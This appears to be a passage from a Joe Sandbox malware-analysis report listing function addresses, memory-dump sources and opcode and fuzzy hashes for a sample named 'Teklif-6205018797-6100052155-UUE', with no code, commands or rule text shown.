Opcode ID: e62f6e2a58adbccf506018c657a2ff0c7acaa6c90eec127551fd13dae03fa2ad
Instruction ID: 89b3377245170f66c8cde3c657fe8669c350e161602da7c4e95f011c38f7b1a3
Opcode Fuzzy Hash: e62f6e2a58adbccf506018c657a2ff0c7acaa6c90eec127551fd13dae03fa2ad
Instruction Fuzzy Hash: F9E04EB488012BCFDB64DF24DD49BA9BBB6AB08215F0055EA9819A3A51EB300AC4DF10

Function 058585F6 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e433c4497f16f4662b204f54e28b8733194c4512ec5b04d46b325f9f90766aff
Instruction ID: 01c024c1296cd5022361b13bb96763cc6c25081cc12a4b6df059c3cf9df79dd5
Opcode Fuzzy Hash: e433c4497f16f4662b204f54e28b8733194c4512ec5b04d46b325f9f90766aff
Instruction Fuzzy Hash: B7E0EC30946118CFCB54DF54D948799BBBAFF05309F2095A58849AA255D7745E84CF01

Function 0593CC62 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1df9ae537cecca959c197672f31facd8168707409a94ab025744bb1343896c7
Instruction ID: f21886d0d3d99943a937dcc0206886d656deffa11694dbc631da7b1766425cd7
Opcode Fuzzy Hash: d1df9ae537cecca959c197672f31facd8168707409a94ab025744bb1343896c7
Instruction Fuzzy Hash: A2D0C976280215AFC7059B54D845E8C7BA5EB48260F1AC160F618CBA72D72AEC129980

Function 0585817F Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e5efbb6bd0fcc22d458012b3300a2e6cfda310f0b38adcbe6fa56d83bad64a5
Instruction ID: 5528ee87b8dfbb42aa3ea13144f5a1c88a1f986099e4e3bbe14d403b776d8bbe
Opcode Fuzzy Hash: 7e5efbb6bd0fcc22d458012b3300a2e6cfda310f0b38adcbe6fa56d83bad64a5
Instruction Fuzzy Hash: 32D02E30A0221C8FCB48EF28DA5865E3BF2FF80301F0026A08842EB345EB301E42CF01

Function 0585A071 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a05f24865d2bccca8469df6f79b9f26886cf0dd7c3f818165a71733c14e1b02
Instruction ID: 5528ee87b8dfbb42aa3ea13144f5a1c88a1f986099e4e3bbe14d403b776d8bbe
Opcode Fuzzy Hash: 6a05f24865d2bccca8469df6f79b9f26886cf0dd7c3f818165a71733c14e1b02
Instruction Fuzzy Hash: 32D02E30A0221C8FCB48EF28DA5865E3BF2FF80301F0026A08842EB345EB301E42CF01

Function 0585E072 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 446490c2a1ea3e58ae083d544367ca5ee2a9eddf466ac218c1ca3a75c167e1dc
Instruction ID: ada64876174f0f5bb1594c0e1395174b3fb156477d75aeb2c4e364f868659e52
Opcode Fuzzy Hash: 446490c2a1ea3e58ae083d544367ca5ee2a9eddf466ac218c1ca3a75c167e1dc
Instruction Fuzzy Hash: DDE01231804518CBCB509F54CCD8EE8B732FB45329F5046F58C2D162D4C7355946DFA0

Function 0593EB7A Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 195744f09f45e58b48e0a68c4f5a7646956ab81eb1d7444a788f34a1ea81e7df
Instruction ID: 2fcd8c17398140b30bbcd5f455c25bfdc66d73ca8775f2125dc7b9aa4c2c8a69
Opcode Fuzzy Hash: 195744f09f45e58b48e0a68c4f5a7646956ab81eb1d7444a788f34a1ea81e7df
Instruction Fuzzy Hash: 37D012761402049FC7059F55D841F457B79EB14660F4540A0F6058B762C225D811C944

Function 00790840 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2206273148.0000000000790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5954c78fd41b87836611061620173c907af1a0f46975a809341b1be8b5f6d842
Instruction ID: 0923d089087979f5440a6be63efbf234e3a1a66f25d1b7c320c6fa1785cf0a8f
Opcode Fuzzy Hash: 5954c78fd41b87836611061620173c907af1a0f46975a809341b1be8b5f6d842
Instruction Fuzzy Hash: 32D0C9B15096519FC70ACB20EE929507FACB98320030625C2C000CF1B3EB289A008A64

Function 05C8D558 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a109d23e617925ea082cd55c8517ccae156e52274eac86ad293612863653212a
Instruction ID: 59097f69f6f3b2264ac16ef8ba740d13e6db7a65d78e7f387bd901cf4035c691
Opcode Fuzzy Hash: a109d23e617925ea082cd55c8517ccae156e52274eac86ad293612863653212a
Instruction Fuzzy Hash: 0CC08CE008F20486C259B24A7C0837037DCA70232EF442C02B90E020A186B148A8DF16

Function 0585B78F Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd0a42994048200d5afc6667cb47bb66dc5c70ad3e305c053dc44c78636b3079
Instruction ID: c52519bcd25d72ccc870a3bb24157fc9e9c9f5feafd5e177d056c11bea2ca126
Opcode Fuzzy Hash: fd0a42994048200d5afc6667cb47bb66dc5c70ad3e305c053dc44c78636b3079
Instruction Fuzzy Hash: 0AD09EB0A455189FC755DF24DC1879ABB7AAB85306F1084DD944AA7240D7B05E448E11

Function 0596643F Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 90d221d95c24b4a7d712cbc595726cf1432e44db2ea561941634c7278935c8af
Instruction ID: 3224fa15256cb95a0131783828d68de72e220babbdb87a741e2c8ad376828c46
Opcode Fuzzy Hash: 90d221d95c24b4a7d712cbc595726cf1432e44db2ea561941634c7278935c8af
Instruction Fuzzy Hash: 37D05E748042288FC750AF20D85479DBFB2FB05300F40C4DA9489A7240DF344988DF10

Function 05931F70 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bdf9b72d59ad34968619677df93d7731988c334c1135bae0baee7a717ad273e
Instruction ID: 192f883ab7c21d11d24f7bb1a931c0fd73d3f3ff48290fb66e2d5429ce333506
Opcode Fuzzy Hash: 7bdf9b72d59ad34968619677df93d7731988c334c1135bae0baee7a717ad273e
Instruction Fuzzy Hash: 29C08C30009610CFCB29EF28F544C867BEAFF403003018AADE01A8B224CB78EC42CF80

Function 0079A760 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2206273148.0000000000790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46f4c50e33e49b35d88a55304a5f1ba20ec7b3b4e1ef5028ea59ccc23fd1ebd8
Instruction ID: c6d88a93b869ec139c849bfbc4cefc2f0f43b48a1374b852c9fde30adc9b7b8b
Opcode Fuzzy Hash: 46f4c50e33e49b35d88a55304a5f1ba20ec7b3b4e1ef5028ea59ccc23fd1ebd8
Instruction Fuzzy Hash: A7C08C70083A04DBC35C3FE8B90E7383BA8BF00302F902830E50C000A28A754470DFA7

Function 05855B90 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bd86e436c2baba4ed4108d5b630c1e99fa51300b78939fc6a207b2eb556a66e
Instruction ID: a5884379f15c402df8062e9b185897d63b67c08bc3dc4424dfcc2350fe38b239
Opcode Fuzzy Hash: 3bd86e436c2baba4ed4108d5b630c1e99fa51300b78939fc6a207b2eb556a66e
Instruction Fuzzy Hash: D8D04274A0031CAFDB54DF64E84875977B2EF4A324F508195984DA2314DB701D98CF01

Function 05930CD0 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 022e50fbf6fa151080fb8c4b92406b95bb961e031b341f7c2e7f8392a45845a9
Instruction ID: f5ee4c6dee1b597493f860fd20951d92d3f52d07b76d9a8c2fea8cac49a1480a
Opcode Fuzzy Hash: 022e50fbf6fa151080fb8c4b92406b95bb961e031b341f7c2e7f8392a45845a9
Instruction Fuzzy Hash: 10C09BB26C41565BFF4591859D067CC1781D3507A5F0B8210A100DF9C3D54CD0474040

Function 059337D1 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c29d1c75e431dc1cafc6b8f0fea1d42b92ec24f64a5f93e62f69cafdc7590469
Instruction ID: 977da2d1f8150226f76eea768a527cbcde181d28103c2dcb2419633e12b089bb
Opcode Fuzzy Hash: c29d1c75e431dc1cafc6b8f0fea1d42b92ec24f64a5f93e62f69cafdc7590469
Instruction Fuzzy Hash: 24C04C325461146FF7054EA5CE4770DBA62FFA0764F0585296241C7A65C7389812D545

Function 058566F3 Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ad7cbf7c87ec1c3969fe6c353af77436eecf84b161079ec877eda478c68884f
Instruction ID: fc0a37d66e711b92a7e0ef12a8bcdfd9c397f2f67e7e374a227797a584d6e7c0
Opcode Fuzzy Hash: 5ad7cbf7c87ec1c3969fe6c353af77436eecf84b161079ec877eda478c68884f
Instruction Fuzzy Hash: 94C00276E5001A9A8B00DAD9E4508DCB774EB94321B004066E224A6104D63015268B50

Function 0593CC70 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Non-executed Functions

Function 05933348 Relevance: 2.8, Strings: 2, Instructions: 336COMMON

Download Yara Rule

Strings

,aq, xrefs: 0593343E
(aq, xrefs: 059336EC

Memory Dump Source

Source File: 00000000.00000002.2231654792.0000000005930000.00000040.00000800.00020000.00000000.sdmp, Offset: 05930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5930000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: (aq$,aq
API String ID: 0-1929014441
Opcode ID: f9cee9fe867e2472e03a60a7edd024a19b408f9d0080fb4992d8af8936e33a6c
Instruction ID: 42ff7ae020f34dae5085665f2911cafbcd75b9dcd43db7dcc6ba64bea17a6871
Opcode Fuzzy Hash: f9cee9fe867e2472e03a60a7edd024a19b408f9d0080fb4992d8af8936e33a6c
Instruction Fuzzy Hash: 40D11834A40205DFCB15DF69C589A6EBBF6BF88315F29C8A9E406AB361C735EC41CB50

Function 00796791 Relevance: 2.7, Strings: 2, Instructions: 172COMMON

Download Yara Rule

Strings

4']q, xrefs: 00796857
4']q, xrefs: 00796882

Memory Dump Source

Source File: 00000000.00000002.2206273148.0000000000790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: c7758190f40c62b51d625629bedb4a335c1feabe26fbfd90c6a8e2fd6f0ac369
Instruction ID: 95d75b364874ae584451201f4305457635c9cecf04dacae058bcdc8c5b5d8313
Opcode Fuzzy Hash: c7758190f40c62b51d625629bedb4a335c1feabe26fbfd90c6a8e2fd6f0ac369
Instruction Fuzzy Hash: 10711CB0A016058FDB48EF6AE94469ABBF7FFC5300F18D269D004AB279DF345946CB90

Function 007967A0 Relevance: 2.7, Strings: 2, Instructions: 165COMMON

Download Yara Rule

Strings

4']q, xrefs: 00796857
4']q, xrefs: 00796882

Memory Dump Source

Source File: 00000000.00000002.2206273148.0000000000790000.00000040.00000800.00020000.00000000.sdmp, Offset: 00790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_790000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: 4']q$4']q
API String ID: 0-3120983240
Opcode ID: 47c6fcf79d8c806b0b1bbdaa33dc17ac4fdb436ac3a3a6e40790b200310bfbb6
Instruction ID: 33af96d995e3ea7473f25f925539460bc61f4f13e98e3057bde81491a10e6fb4
Opcode Fuzzy Hash: 47c6fcf79d8c806b0b1bbdaa33dc17ac4fdb436ac3a3a6e40790b200310bfbb6
Instruction Fuzzy Hash: 4771FCB0A016058FDB48EF6AE94469ABBF7FFC5300F18D569D004AB279DF345946CB90

Function 05850040 Relevance: 2.6, Strings: 2, Instructions: 79COMMON

Download Yara Rule

Strings

>, xrefs: 0585162B
_, xrefs: 0585010F

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: >$_
API String ID: 0-3683171403
Opcode ID: ce63065a52b46a8b8f25bec93be14006a76c3328c3b3d5bca41f0d2c9c7dc2b9
Instruction ID: 3b21638521385236cbdbc1ee326646ef7902641199bf0113c0b0213bd5edcc29
Opcode Fuzzy Hash: ce63065a52b46a8b8f25bec93be14006a76c3328c3b3d5bca41f0d2c9c7dc2b9
Instruction Fuzzy Hash: 20319D71E056188BDB58DF6BCC4969AFBF7AFC8310F14C1BA980CA6214DB340A81CF51

Function 05855328 Relevance: 1.7, Strings: 1, Instructions: 431COMMON

Download Yara Rule

Strings

RZW+, xrefs: 058555ED

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: RZW+
API String ID: 0-2016248192
Opcode ID: 392cf5b20ba7a0d04460a3e318ad96e537dce44a2d54e796e68563c8ca2d5490
Instruction ID: 961f3a76f39ca0c6774eece8f5cae2b7d173e629a6bc1545281918e71174d5f7
Opcode Fuzzy Hash: 392cf5b20ba7a0d04460a3e318ad96e537dce44a2d54e796e68563c8ca2d5490
Instruction Fuzzy Hash: B512B570E056189FDB14CFAAC98069DFBF2BF88314F24C169D819EB219D734A946CF50

Function 0585F988 Relevance: 1.5, Strings: 1, Instructions: 245COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0585FA21

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: Te]q
API String ID: 0-52440209
Opcode ID: a56195b363f0940d1495dc208db242653bbd466eaf1cf974c59e7e92c7b96e2d
Instruction ID: a5e619a053b88caeff9236e294a6402d0451dc70023faf8d34b8287f2bad7585
Opcode Fuzzy Hash: a56195b363f0940d1495dc208db242653bbd466eaf1cf974c59e7e92c7b96e2d
Instruction Fuzzy Hash: 99B1E5B0E45218CFEB14CFA9D884BADBBF2BB49314F2080AAD909EB255D7745D85CF05

Function 059855D8 Relevance: 1.4, Strings: 1, Instructions: 187COMMON

Download Yara Rule

Strings

daq, xrefs: 05985792

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: daq
API String ID: 0-1532007458
Opcode ID: 7a6e1afba7e027110c92d2c62eb4f3cd3b3627bae62559df4e5e85bfcc2fb00c
Instruction ID: 6d2839b0d1e2fb23f8a948b7b17299728bcb1cfacda1e88fe5295163f26acc69
Opcode Fuzzy Hash: 7a6e1afba7e027110c92d2c62eb4f3cd3b3627bae62559df4e5e85bfcc2fb00c
Instruction Fuzzy Hash: 1F812274D05218DFCB14EFA8D888BEDBBF2FB49304F218469E409AB285DB755989CF11

Function 059855E8 Relevance: 1.4, Strings: 1, Instructions: 187COMMON

Download Yara Rule

Strings

daq, xrefs: 05985792

Memory Dump Source

Source File: 00000000.00000002.2231971594.0000000005980000.00000040.00000800.00020000.00000000.sdmp, Offset: 05980000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5980000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: daq
API String ID: 0-1532007458
Opcode ID: aa10785b3dda13938ec9b04ca996794b2ca686788b4a719dff0ee944824223b2
Instruction ID: 5af644432482e7c900fe5368d2c0d29ea58693ac71c33a35adcd4b39534e4a09
Opcode Fuzzy Hash: aa10785b3dda13938ec9b04ca996794b2ca686788b4a719dff0ee944824223b2
Instruction Fuzzy Hash: 8B813274D05218DFCB14EFA8D888BEDBBF2FB49304F218469E409A7285DB755989CF11

Function 05850007 Relevance: 1.3, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

_, xrefs: 0585010F

Memory Dump Source

Source File: 00000000.00000002.2231078076.0000000005850000.00000040.00000800.00020000.00000000.sdmp, Offset: 05850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5850000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: b3255a7dd60979e82b24e0bd24f605fcfc788aad9ee2bf31d2cfddc171ad5ef4
Instruction ID: f5003f0902b0eb2cc8875010c66c2b02cd6d4bcabe9255d35d75d56ea4c306a2
Opcode Fuzzy Hash: b3255a7dd60979e82b24e0bd24f605fcfc788aad9ee2bf31d2cfddc171ad5ef4
Instruction Fuzzy Hash: 3731D471D056598FEB19CF6B8C45299BFF3AFC5310F18C1FA984CAA265DA340A85CF11

Function 0596E800 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 140a6c919ed3cb5ef6d07c6c87c1f3abf36dc98a20e245c5a91fdc275991ad44
Instruction ID: 8ce8799015cbde175512b111a361cc2bcb7f76bce73e4214977be770af02cff0
Opcode Fuzzy Hash: 140a6c919ed3cb5ef6d07c6c87c1f3abf36dc98a20e245c5a91fdc275991ad44
Instruction Fuzzy Hash: 58B14A78E05208CFDB54DFA9D484BAEBBFAFB49304F1480A9D40ABB255DB745988CF14

Function 0596E810 Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0074692a1785819bc0a37a947d19eefb37fd828c8e609f7a13d77ab2372c55b4
Instruction ID: ead81ddf6a96719eca99d03ef629dbaded16226bc61563fd9c670c364b91e314
Opcode Fuzzy Hash: 0074692a1785819bc0a37a947d19eefb37fd828c8e609f7a13d77ab2372c55b4
Instruction Fuzzy Hash: ADB14A78E05208CFDB14DFA5D484BAEBBFAFB4A304F1480A9D41ABB255DB745988CF14

Function 05967D78 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be1b451c1227104d06e3bbb56b92d8af5b76869b853cadcdf2a197251b6a0880
Instruction ID: 338c06f4c8814987ccaefddf35df6d581ca0556ea34997804ccd82b90827b515
Opcode Fuzzy Hash: be1b451c1227104d06e3bbb56b92d8af5b76869b853cadcdf2a197251b6a0880
Instruction Fuzzy Hash: E9A1F470D45218DFDB14CFA9D844BEDBBF2FB49304F24956AD409AB265DB70988ACF00

Function 05967D6A Relevance: .2, Instructions: 233COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dbcfc967904001ecc97c1ed65cb9c71c043e29ec87cf6b67ef89f57acc97e07d
Instruction ID: 7d15900fb28f39623c5efdc594adc284a4b62e958959be2fd5a637f50c38ed93
Opcode Fuzzy Hash: dbcfc967904001ecc97c1ed65cb9c71c043e29ec87cf6b67ef89f57acc97e07d
Instruction Fuzzy Hash: 87A10570D05218DFDB54CFA9D844BADBBF2FB49304F24856AD409BB265DB70998ACF04

Function 0596EDC0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 183ecd1d9b39b2a30a04117a1854f5ff51e6fcb13823aa139d9a80c266ea6045
Instruction ID: 35a85b56e5b12304a232559156880e2b3bd0c6797abdbd4d9f020d63459f7a2a
Opcode Fuzzy Hash: 183ecd1d9b39b2a30a04117a1854f5ff51e6fcb13823aa139d9a80c266ea6045
Instruction Fuzzy Hash: CD811B78D05208CFDB04DFA8D444BEEBBFAFB49304F24846AE409AB255DB749959CF05

Function 0596EDD0 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f71b83dbb49bd6465d9477151f13ab699be63c0b3dc8553474f6b8b63ba5678
Instruction ID: 00eccce95dfc4d67449d58d5474fa333610646809be32351c022f891c1ada654
Opcode Fuzzy Hash: 3f71b83dbb49bd6465d9477151f13ab699be63c0b3dc8553474f6b8b63ba5678
Instruction Fuzzy Hash: 21812A78D05208CFDB04DFA8D444BEEBBFAFB49304F24946AE409AB295DB749959CF04

Function 05962540 Relevance: .2, Instructions: 197COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2231818294.0000000005960000.00000040.00000800.00020000.00000000.sdmp, Offset: 05960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5960000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c367947b93d4f73e134f1c08badab3933331bcd7a48653dbfc0502dc763cb1f2
Instruction ID: 9595d83bcbb8e5a2a38d2581887e620c5f00c3b2d4701667547c180dc1357799
Opcode Fuzzy Hash: c367947b93d4f73e134f1c08badab3933331bcd7a48653dbfc0502dc763cb1f2
Instruction Fuzzy Hash: 53814A74E04208CFDB14DF68D494BADBBF6FB4A304F2490AAE409EB255DB749989CF05

Function 05C8D168 Relevance: .2, Instructions: 196COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 273754886f503b885c023c3bf332e011dcc17b2853e892ab7feaa8a28489a0cc
Instruction ID: dc02e23e06d57b715f5e67d9dd44e5bfe46994f509869385ec403231053128c0
Opcode Fuzzy Hash: 273754886f503b885c023c3bf332e011dcc17b2853e892ab7feaa8a28489a0cc
Instruction Fuzzy Hash: 4E811A74E04318CFDB24EF66D844BADBBB6FF49318F1098A9D40AA7290DB745985CF41

Function 05C70040 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2232891361.0000000005C70000.00000040.00000800.00020000.00000000.sdmp, Offset: 05C70000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5c70000_Teklif-6205018797-6100052155-UUE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f071c3b385da2c395737e05e9335a82f9823b6ea5142901b1b1a78f2b089e940
Instruction ID: 963e68257031ea03e5999c4f549692faa9e05c6b48208c77d4da366e2dd43541
Opcode Fuzzy Hash: f071c3b385da2c395737e05e9335a82f9823b6ea5142901b1b1a78f2b089e940
Instruction Fuzzy Hash: 0571D570D4022E8FDB68DF26C848BEABBF2AB48304F1085EAD41DA7645DB745AC5CF51

